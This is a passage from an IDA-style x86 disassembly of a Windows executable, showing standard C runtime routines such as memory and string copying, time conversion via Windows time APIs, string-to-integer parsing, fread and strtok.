		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_418480
		std
		rep movsd
		cld
		jmp	off_4185A0[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_418480
		std
		rep movsd
		cld
		jmp	off_4185A0[edx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_418554
		dd offset loc_41855C
		dd offset loc_418564
		dd offset loc_41856C
		dd offset loc_418574
		dd offset loc_41857C
		dd offset loc_418584
off_418550	dd offset loc_418597	; DATA XREF: sub_4182C0+1C2r
; ---------------------------------------------------------------------------

loc_418554:				; DATA XREF: sub_4182C0+274o
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax

loc_41855C:				; DATA XREF: sub_4182C0+278o
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax

loc_418564:				; DATA XREF: sub_4182C0+27Co
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax

loc_41856C:				; DATA XREF: sub_4182C0+280o
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax

loc_418574:				; DATA XREF: sub_4182C0+284o
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax

loc_41857C:				; DATA XREF: sub_4182C0+288o
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax

loc_418584:				; DATA XREF: sub_4182C0+28Co
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax

loc_418597:				; CODE XREF: sub_4182C0+1C2j
					; DATA XREF: sub_4182C0:off_418550o
		jmp	off_4185A0[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_4185A0	dd offset loc_4185B0	; DATA XREF: sub_4182C0+1B7r
					; sub_4182C0:loc_4184A4r ...
		dd offset loc_4185B8
		dd offset loc_4185C8
		dd offset loc_4185DC
; ---------------------------------------------------------------------------

loc_4185B0:				; CODE XREF: sub_4182C0+1B7j
					; sub_4182C0:loc_4184A4j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_4185B8:				; CODE XREF: sub_4182C0+1B7j
					; sub_4182C0:loc_4184A4j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_4185C8:				; CODE XREF: sub_4182C0+1B7j
					; sub_4182C0:loc_4184A4j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_4185DC:				; CODE XREF: sub_4182C0+1B7j
					; sub_4182C0:loc_4184A4j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_4182C0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4185F5	proc near		; CODE XREF: sub_40473F+34p
					; sub_40473F+4Fp ...

arg_0		= dword	ptr  4

		push	1
		push	[esp+4+arg_0]
		call	sub_417B9B
		pop	ecx
		pop	ecx
		retn
sub_4185F5	endp


; =============== S U B	R O U T	I N E =======================================



sub_418603	proc near		; CODE XREF: sub_418670+4p

arg_0		= dword	ptr  4

		push	esi
		push	ds:dword_48B69C
		call	sub_41D5A8
		mov	edx, ds:dword_48B69C
		pop	ecx
		mov	ecx, ds:dword_48B698
		mov	esi, ecx
		sub	esi, edx
		add	esi, 4
		cmp	eax, esi
		pop	esi
		jnb	short loc_418662
		push	edx
		call	sub_41D5A8
		add	eax, 10h
		push	eax
		push	ds:dword_48B69C
		call	sub_41944F
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_418645
		retn
; ---------------------------------------------------------------------------

loc_418645:				; CODE XREF: sub_418603+3Fj
		mov	ecx, ds:dword_48B698
		sub	ecx, ds:dword_48B69C
		mov	ds:dword_48B69C, eax
		sar	ecx, 2
		lea	ecx, [eax+ecx*4]
		mov	ds:dword_48B698, ecx

loc_418662:				; CODE XREF: sub_418603+23j
		mov	eax, [esp+arg_0]
		mov	[ecx], eax
		add	ds:dword_48B698, 4
		retn
sub_418603	endp


; =============== S U B	R O U T	I N E =======================================



sub_418670	proc near		; CODE XREF: sub_40482C+1Ap

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_418603
		neg	eax
		sbb	eax, eax
		pop	ecx
		neg	eax
		dec	eax
		retn
sub_418670	endp


; =============== S U B	R O U T	I N E =======================================



sub_418682	proc near		; DATA XREF: _2:00426018o
		push	80h
		call	sub_417B89
		test	eax, eax
		pop	ecx
		mov	ds:dword_48B69C, eax
		jnz	short loc_4186A3
		push	18h
		call	sub_419CDA
		mov	eax, ds:dword_48B69C
		pop	ecx

loc_4186A3:				; CODE XREF: sub_418682+12j
		and	dword ptr [eax], 0
		mov	eax, ds:dword_48B69C
		mov	ds:dword_48B698, eax
		retn
sub_418682	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4186B1	proc near		; CODE XREF: sub_40494F+1B0p
					; sub_4053D5+4Ep

var_CC		= byte ptr -0CCh
var_32		= word ptr -32h
var_24		= dword	ptr -24h
var_20		= word ptr -20h
var_1E		= word ptr -1Eh
var_1A		= word ptr -1Ah
var_18		= word ptr -18h
var_16		= word ptr -16h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0CCh
		lea	eax, [ebp+var_10]
		push	eax
		call	ds:dword_42406C	; GetLocalTime
		lea	eax, [ebp+var_20]
		push	eax
		call	ds:dword_424190	; GetSystemTime
		mov	ax, [ebp+var_16]
		cmp	ax, ds:word_48A00A
		jnz	short loc_418716
		mov	ax, [ebp+var_18]
		cmp	ax, ds:word_48A008
		jnz	short loc_418716
		mov	ax, [ebp+var_1A]
		cmp	ax, ds:word_48A006
		jnz	short loc_418716
		mov	ax, [ebp+var_1E]
		cmp	ax, ds:word_48A002
		jnz	short loc_418716
		mov	ax, [ebp+var_20]
		cmp	ax, ds:word_48A000
		jnz	short loc_418716
		mov	eax, ds:dword_489FF8
		jmp	short loc_41875B
; ---------------------------------------------------------------------------

loc_418716:				; CODE XREF: sub_4186B1+28j
					; sub_4186B1+35j ...
		lea	eax, [ebp+var_CC]
		push	eax
		call	ds:dword_42418C	; GetTimeZoneInformation
		cmp	eax, 0FFFFFFFFh
		jz	short loc_418743
		cmp	eax, 2
		jnz	short loc_41873F
		cmp	[ebp+var_32], 0
		jz	short loc_41873F
		cmp	[ebp+var_24], 0
		jz	short loc_41873F
		push	1
		pop	eax
		jmp	short loc_418746
; ---------------------------------------------------------------------------

loc_41873F:				; CODE XREF: sub_4186B1+7Aj
					; sub_4186B1+81j ...
		xor	eax, eax
		jmp	short loc_418746
; ---------------------------------------------------------------------------

loc_418743:				; CODE XREF: sub_4186B1+75j
		or	eax, 0FFFFFFFFh

loc_418746:				; CODE XREF: sub_4186B1+8Cj
					; sub_4186B1+90j
		push	esi
		push	edi
		lea	esi, [ebp+var_20]
		mov	edi, offset word_48A000
		movsd
		movsd
		movsd
		movsd
		pop	edi
		mov	ds:dword_489FF8, eax
		pop	esi

loc_41875B:				; CODE XREF: sub_4186B1+63j
		push	eax
		movzx	eax, [ebp+var_4]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		call	sub_41D609
		mov	ecx, [ebp+arg_0]
		add	esp, 1Ch
		test	ecx, ecx
		jz	short locret_41878B
		mov	[ecx], eax

locret_41878B:				; CODE XREF: sub_4186B1+D6j
		leave
		retn
sub_4186B1	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418790	proc near		; CODE XREF: sub_40494F+18p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+arg_0]
		lea	eax, dword_48A0A0
		cmp	dword ptr [eax+8], 0
		jnz	short loc_4187E3
		mov	al, 0FFh
		mov	edi, edi

loc_4187AC:				; CODE XREF: sub_418790+28j
					; sub_418790+48j
		or	al, al
		jz	short loc_4187DE
		mov	al, [esi]
		inc	esi
		mov	ah, [edi]
		inc	edi
		cmp	ah, al
		jz	short loc_4187AC
		sub	al, 41h
		cmp	al, 1Ah
		sbb	cl, cl
		and	cl, 20h
		add	al, cl
		add	al, 41h
		xchg	ah, al
		sub	al, 41h
		cmp	al, 1Ah
		sbb	cl, cl
		and	cl, 20h
		add	al, cl
		add	al, 41h
		cmp	al, ah
		jz	short loc_4187AC
		sbb	al, al
		sbb	al, 0FFh

loc_4187DE:				; CODE XREF: sub_418790+1Ej
		movsx	eax, al
		jmp	short loc_418817
; ---------------------------------------------------------------------------

loc_4187E3:				; CODE XREF: sub_418790+16j
		mov	eax, 0FFh
		xor	ebx, ebx
		mov	edi, edi

loc_4187EC:				; CODE XREF: sub_418790+68j
					; sub_418790+80j
		or	al, al
		jz	short loc_418817
		mov	al, [esi]
		inc	esi
		mov	bl, [edi]
		inc	edi
		cmp	al, bl
		jz	short loc_4187EC
		push	eax
		push	ebx
		call	sub_419101
		mov	ebx, eax
		add	esp, 4
		call	sub_419101
		add	esp, 4
		cmp	bl, al
		jz	short loc_4187EC
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh

loc_418817:				; CODE XREF: sub_418790+51j
					; sub_418790+5Ej
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn
sub_418790	endp


; =============== S U B	R O U T	I N E =======================================



sub_41881C	proc near		; CODE XREF: sub_41AB9C+11Bp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	0
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_418833
		add	esp, 10h
		retn
sub_41881C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418833	proc near		; CODE XREF: sub_41881C+Ep
					; sub_418A3B+Ep

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		and	[ebp+var_8], 0
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	bl, [edi]
		lea	esi, [edi+1]
		mov	[ebp+var_4], esi

loc_41884B:				; CODE XREF: sub_418833+46j
		cmp	ds:dword_4397AC, 1
		jle	short loc_418863
		movzx	eax, bl
		push	8
		push	eax
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_418872
; ---------------------------------------------------------------------------

loc_418863:				; CODE XREF: sub_418833+1Fj
		mov	ecx, ds:off_4395A0
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 8

loc_418872:				; CODE XREF: sub_418833+2Ej
		test	eax, eax
		jz	short loc_41887B
		mov	bl, [esi]
		inc	esi
		jmp	short loc_41884B
; ---------------------------------------------------------------------------

loc_41887B:				; CODE XREF: sub_418833+41j
		cmp	bl, 2Dh
		mov	[ebp+var_4], esi
		jnz	short loc_418889
		or	[ebp+arg_C], 2
		jmp	short loc_41888E
; ---------------------------------------------------------------------------

loc_418889:				; CODE XREF: sub_418833+4Ej
		cmp	bl, 2Bh
		jnz	short loc_418894

loc_41888E:				; CODE XREF: sub_418833+54j
		mov	bl, [esi]
		inc	esi
		mov	[ebp+var_4], esi

loc_418894:				; CODE XREF: sub_418833+59j
		mov	eax, [ebp+arg_8]
		test	eax, eax
		jl	loc_418A2B
		cmp	eax, 1
		jz	loc_418A2B
		cmp	eax, 24h
		jg	loc_418A2B
		push	10h
		test	eax, eax
		pop	ecx
		jnz	short loc_4188DC
		cmp	bl, 30h
		jz	short loc_4188C6
		mov	[ebp+arg_8], 0Ah
		jmp	short loc_4188F8
; ---------------------------------------------------------------------------

loc_4188C6:				; CODE XREF: sub_418833+88j
		mov	al, [esi]
		cmp	al, 78h
		jz	short loc_4188D9
		cmp	al, 58h
		jz	short loc_4188D9
		mov	[ebp+arg_8], 8
		jmp	short loc_4188F8
; ---------------------------------------------------------------------------

loc_4188D9:				; CODE XREF: sub_418833+97j
					; sub_418833+9Bj
		mov	[ebp+arg_8], ecx

loc_4188DC:				; CODE XREF: sub_418833+83j
		cmp	[ebp+arg_8], ecx
		jnz	short loc_4188F8
		cmp	bl, 30h
		jnz	short loc_4188F8
		mov	al, [esi]
		cmp	al, 78h
		jz	short loc_4188F0
		cmp	al, 58h
		jnz	short loc_4188F8

loc_4188F0:				; CODE XREF: sub_418833+B7j
		mov	bl, [esi+1]
		inc	esi
		inc	esi
		mov	[ebp+var_4], esi

loc_4188F8:				; CODE XREF: sub_418833+91j
					; sub_418833+A4j ...
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_8]
		mov	edi, 103h
		mov	[ebp+var_C], eax

loc_418908:				; CODE XREF: sub_418833+16Cj
		cmp	ds:dword_4397AC, 1
		movzx	esi, bl
		jle	short loc_418920
		push	4
		push	esi
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_41892B
; ---------------------------------------------------------------------------

loc_418920:				; CODE XREF: sub_418833+DFj
		mov	eax, ds:off_4395A0
		mov	al, [eax+esi*2]
		and	eax, 4

loc_41892B:				; CODE XREF: sub_418833+EBj
		test	eax, eax
		jz	short loc_418937
		movsx	ecx, bl
		sub	ecx, 30h
		jmp	short loc_418969
; ---------------------------------------------------------------------------

loc_418937:				; CODE XREF: sub_418833+FAj
		cmp	ds:dword_4397AC, 1
		jle	short loc_41894B
		push	edi
		push	esi
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_418956
; ---------------------------------------------------------------------------

loc_41894B:				; CODE XREF: sub_418833+10Bj
		mov	eax, ds:off_4395A0
		mov	ax, [eax+esi*2]
		and	eax, edi

loc_418956:				; CODE XREF: sub_418833+116j
		test	eax, eax
		jz	short loc_4189A4
		movsx	eax, bl
		push	eax
		call	sub_41D6CB
		pop	ecx
		mov	ecx, eax
		sub	ecx, 37h

loc_418969:				; CODE XREF: sub_418833+102j
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_4189A4
		mov	esi, [ebp+var_8]
		or	[ebp+arg_C], 8
		cmp	esi, [ebp+var_C]
		jb	short loc_41898E
		jnz	short loc_418988
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_8]
		cmp	ecx, edx
		jbe	short loc_41898E

loc_418988:				; CODE XREF: sub_418833+147j
		or	[ebp+arg_C], 4
		jmp	short loc_418997
; ---------------------------------------------------------------------------

loc_41898E:				; CODE XREF: sub_418833+145j
					; sub_418833+153j
		imul	esi, [ebp+arg_8]
		add	esi, ecx
		mov	[ebp+var_8], esi

loc_418997:				; CODE XREF: sub_418833+159j
		mov	eax, [ebp+var_4]
		inc	[ebp+var_4]
		mov	bl, [eax]
		jmp	loc_418908
; ---------------------------------------------------------------------------

loc_4189A4:				; CODE XREF: sub_418833+125j
					; sub_418833+139j
		mov	ecx, [ebp+arg_C]
		dec	[ebp+var_4]
		mov	edx, [ebp+arg_4]
		test	cl, 8
		jnz	short loc_4189C2
		test	edx, edx
		jz	short loc_4189BC
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax

loc_4189BC:				; CODE XREF: sub_418833+181j
		and	[ebp+var_8], 0
		jmp	short loc_418A0F
; ---------------------------------------------------------------------------

loc_4189C2:				; CODE XREF: sub_418833+17Dj
		test	cl, 4
		mov	eax, 7FFFFFFFh
		jnz	short loc_4189E8
		test	cl, 1
		jnz	short loc_418A0F
		and	ecx, 2
		jz	short loc_4189DF
		cmp	[ebp+var_8], 80000000h
		ja	short loc_4189E8

loc_4189DF:				; CODE XREF: sub_418833+1A1j
		test	ecx, ecx
		jnz	short loc_418A0F
		cmp	[ebp+var_8], eax
		jbe	short loc_418A0F

loc_4189E8:				; CODE XREF: sub_418833+197j
					; sub_418833+1AAj
		test	byte ptr [ebp+arg_C], 1
		mov	ds:dword_48A014, 22h
		jz	short loc_4189FE
		or	[ebp+var_8], 0FFFFFFFFh
		jmp	short loc_418A0F
; ---------------------------------------------------------------------------

loc_4189FE:				; CODE XREF: sub_418833+1C3j
		mov	ecx, [ebp+arg_C]
		and	cl, 2
		neg	cl
		sbb	ecx, ecx
		neg	ecx
		add	ecx, eax
		mov	[ebp+var_8], ecx

loc_418A0F:				; CODE XREF: sub_418833+18Dj
					; sub_418833+19Cj ...
		test	edx, edx
		jz	short loc_418A18
		mov	eax, [ebp+var_4]
		mov	[edx], eax

loc_418A18:				; CODE XREF: sub_418833+1DEj
		test	byte ptr [ebp+arg_C], 2
		jz	short loc_418A26
		mov	eax, [ebp+var_8]
		neg	eax
		mov	[ebp+var_8], eax

loc_418A26:				; CODE XREF: sub_418833+1E9j
		mov	eax, [ebp+var_8]
		jmp	short loc_418A36
; ---------------------------------------------------------------------------

loc_418A2B:				; CODE XREF: sub_418833+66j
					; sub_418833+6Fj ...
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_418A34
		mov	[eax], edi

loc_418A34:				; CODE XREF: sub_418833+1FDj
		xor	eax, eax

loc_418A36:				; CODE XREF: sub_418833+1F6j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_418833	endp


; =============== S U B	R O U T	I N E =======================================



sub_418A3B	proc near		; CODE XREF: sub_4053D5+4BDp
					; sub_40EE72+3773p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	1
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_418833
		add	esp, 10h
		retn
sub_418A3B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418A52	proc near		; CODE XREF: sub_4053D5+266p
					; sub_4053D5+46Ap ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_14], 49h
		push	eax
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		call	sub_417AB0
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_4]
		push	eax
		call	sub_41D797
		add	esp, 10h
		leave
		retn
sub_418A52	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418A86	proc near		; CODE XREF: sub_405A58+4Ep
					; sub_406C19+30Ep ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		imul	edi, [ebp+arg_8]
		mov	ebx, [ebp+arg_0]
		mov	ecx, edi
		test	edi, edi
		mov	[ebp+var_4], edi
		mov	[ebp+arg_0], ecx
		jnz	short loc_418AAA
		xor	eax, eax
		jmp	loc_418B53
; ---------------------------------------------------------------------------

loc_418AAA:				; CODE XREF: sub_418A86+1Bj
		mov	esi, [ebp+arg_C]
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_418ABD
		mov	eax, [esi+18h]
		mov	[ebp+arg_C], eax
		jmp	short loc_418AC9
; ---------------------------------------------------------------------------

loc_418ABD:				; CODE XREF: sub_418A86+2Dj
		mov	[ebp+arg_C], 1000h
		jmp	short loc_418AC9
; ---------------------------------------------------------------------------

loc_418AC6:				; CODE XREF: sub_418A86+C4j
		mov	ecx, [ebp+arg_0]

loc_418AC9:				; CODE XREF: sub_418A86+35j
					; sub_418A86+3Ej
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_418AFB
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_418AFB
		cmp	ecx, eax
		mov	edi, ecx
		jb	short loc_418AE0
		mov	edi, eax

loc_418AE0:				; CODE XREF: sub_418A86+56j
		push	edi
		push	dword ptr [esi]
		push	ebx
		call	sub_417390
		sub	[ebp+arg_0], edi
		sub	[esi+4], edi
		add	[esi], edi
		add	esp, 0Ch
		add	ebx, edi
		mov	edi, [ebp+var_4]
		jmp	short loc_418B46
; ---------------------------------------------------------------------------

loc_418AFB:				; CODE XREF: sub_418A86+49j
					; sub_418A86+50j
		cmp	ecx, [ebp+arg_C]
		jb	short loc_418B2E
		cmp	[ebp+arg_C], 0
		mov	eax, ecx
		jz	short loc_418B11
		xor	edx, edx
		div	[ebp+arg_C]
		mov	eax, ecx
		sub	eax, edx

loc_418B11:				; CODE XREF: sub_418A86+80j
		push	eax
		push	ebx
		push	dword ptr [esi+10h]
		call	sub_41E321
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_418B58
		cmp	eax, 0FFFFFFFFh
		jz	short loc_418B5E
		sub	[ebp+arg_0], eax
		add	ebx, eax
		jmp	short loc_418B46
; ---------------------------------------------------------------------------

loc_418B2E:				; CODE XREF: sub_418A86+78j
		push	esi
		call	sub_41E248
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_418B62
		mov	[ebx], al
		mov	eax, [esi+18h]
		inc	ebx
		dec	[ebp+arg_0]
		mov	[ebp+arg_C], eax

loc_418B46:				; CODE XREF: sub_418A86+73j
					; sub_418A86+A6j
		cmp	[ebp+arg_0], 0
		jnz	loc_418AC6
		mov	eax, [ebp+arg_8]

loc_418B53:				; CODE XREF: sub_418A86+1Fj
					; sub_418A86+E6j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_418B58:				; CODE XREF: sub_418A86+9Aj
		or	dword ptr [esi+0Ch], 10h
		jmp	short loc_418B62
; ---------------------------------------------------------------------------

loc_418B5E:				; CODE XREF: sub_418A86+9Fj
		or	dword ptr [esi+0Ch], 20h

loc_418B62:				; CODE XREF: sub_418A86+B2j
					; sub_418A86+D6j
		mov	eax, edi
		xor	edx, edx
		sub	eax, [ebp+arg_0]
		div	[ebp+arg_4]
		jmp	short loc_418B53
sub_418A86	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418B6E	proc near		; CODE XREF: sub_405AF2+2B2p
					; sub_4060D0+101p ...

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		push	edi
		push	8
		xor	eax, eax
		pop	ecx
		lea	edi, [ebp+var_20]
		rep stosd
		push	7
		pop	edi

loc_418B87:				; CODE XREF: sub_418B6E+32j
		mov	dl, [esi]
		mov	bl, 1
		movzx	ecx, dl
		mov	eax, ecx
		and	ecx, edi
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_20]
		or	[eax], bl
		inc	esi
		test	dl, dl
		jnz	short loc_418B87
		mov	edx, [ebp+arg_0]
		test	edx, edx
		jnz	short loc_418BAF
		mov	edx, ds:dword_48A010

loc_418BAF:				; CODE XREF: sub_418B6E+39j
					; sub_418B6E+5Fj
		mov	al, [edx]
		push	1
		movzx	esi, al
		mov	ecx, esi
		pop	ebx
		and	ecx, edi
		shl	ebx, cl
		shr	esi, 3
		mov	cl, [ebp+esi+var_20]
		test	bl, cl
		jz	short loc_418BCF
		test	al, al
		jz	short loc_418BCF
		inc	edx
		jmp	short loc_418BAF
; ---------------------------------------------------------------------------

loc_418BCF:				; CODE XREF: sub_418B6E+58j
					; sub_418B6E+5Cj
		mov	ebx, edx

loc_418BD1:				; CODE XREF: sub_418B6E+81j
		mov	al, [edx]
		test	al, al
		jz	short loc_418BF5
		movzx	esi, al
		mov	ecx, esi
		push	1
		and	ecx, edi
		pop	eax
		shl	eax, cl
		shr	esi, 3
		mov	cl, [ebp+esi+var_20]
		test	al, cl
		jnz	short loc_418BF1
		inc	edx
		jmp	short loc_418BD1
; ---------------------------------------------------------------------------

loc_418BF1:				; CODE XREF: sub_418B6E+7Ej
		and	byte ptr [edx],	0
		inc	edx

loc_418BF5:				; CODE XREF: sub_418B6E+67j
		mov	eax, ebx
		pop	edi
		sub	eax, edx
		pop	esi
		neg	eax
		sbb	eax, eax
		mov	ds:dword_48A010, edx
		and	eax, ebx
		pop	ebx
		leave
		retn
sub_418B6E	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_418C10	proc near		; CODE XREF: sub_406387+1B6p
					; sub_407252+6Ep ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	short loc_418C93
		push	esi
		push	ebx
		mov	ebx, ecx
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		mov	edi, [esp+0Ch+arg_0]
		jnz	short loc_418C34
		shr	ecx, 2
		jnz	short loc_418CA1
		jmp	short loc_418C55
; ---------------------------------------------------------------------------

loc_418C34:				; CODE XREF: sub_418C10+1Bj
					; sub_418C10+37j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	short loc_418C62
		test	al, al
		jz	short loc_418C6A
		test	esi, 3
		jnz	short loc_418C34
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_418CA1

loc_418C50:				; CODE XREF: sub_418C10+8Fj
		and	ebx, 3
		jz	short loc_418C62

loc_418C55:				; CODE XREF: sub_418C10+22j
					; sub_418C10+50j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		test	al, al
		jz	short loc_418C8E
		dec	ebx
		jnz	short loc_418C55

loc_418C62:				; CODE XREF: sub_418C10+2Bj
					; sub_418C10+43j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_418C6A:				; CODE XREF: sub_418C10+2Fj
		test	edi, 3
		jz	short loc_418C84

loc_418C72:				; CODE XREF: sub_418C10+72j
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	loc_418D06
		test	edi, 3
		jnz	short loc_418C72

loc_418C84:				; CODE XREF: sub_418C10+60j
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_418CF7

loc_418C8B:				; CODE XREF: sub_418C10+7Fj
					; sub_418C10+F4j
		mov	[edi], al
		inc	edi

loc_418C8E:				; CODE XREF: sub_418C10+4Dj
		dec	ebx
		jnz	short loc_418C8B
		pop	ebx
		pop	esi

loc_418C93:				; CODE XREF: sub_418C10+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_418C99:				; CODE XREF: sub_418C10+A9j
					; sub_418C10+C1j
		mov	[edi], edx
		add	edi, 4
		dec	ecx
		jz	short loc_418C50

loc_418CA1:				; CODE XREF: sub_418C10+20j
					; sub_418C10+3Ej
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_418C99
		test	dl, dl
		jz	short loc_418CEB
		test	dh, dh
		jz	short loc_418CE1
		test	edx, 0FF0000h
		jz	short loc_418CD7
		test	edx, 0FF000000h
		jnz	short loc_418C99
		mov	[edi], edx
		jmp	short loc_418CEF
; ---------------------------------------------------------------------------

loc_418CD7:				; CODE XREF: sub_418C10+B9j
		and	edx, 0FFFFh
		mov	[edi], edx
		jmp	short loc_418CEF
; ---------------------------------------------------------------------------

loc_418CE1:				; CODE XREF: sub_418C10+B1j
		and	edx, 0FFh
		mov	[edi], edx
		jmp	short loc_418CEF
; ---------------------------------------------------------------------------

loc_418CEB:				; CODE XREF: sub_418C10+ADj
		xor	edx, edx
		mov	[edi], edx

loc_418CEF:				; CODE XREF: sub_418C10+C5j
					; sub_418C10+CFj ...
		add	edi, 4
		xor	eax, eax
		dec	ecx
		jz	short loc_418D01

loc_418CF7:				; CODE XREF: sub_418C10+79j
		xor	eax, eax

loc_418CF9:				; CODE XREF: sub_418C10+EFj
		mov	[edi], eax
		add	edi, 4
		dec	ecx
		jnz	short loc_418CF9

loc_418D01:				; CODE XREF: sub_418C10+E5j
		and	ebx, 3
		jnz	short loc_418C8B

loc_418D06:				; CODE XREF: sub_418C10+66j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
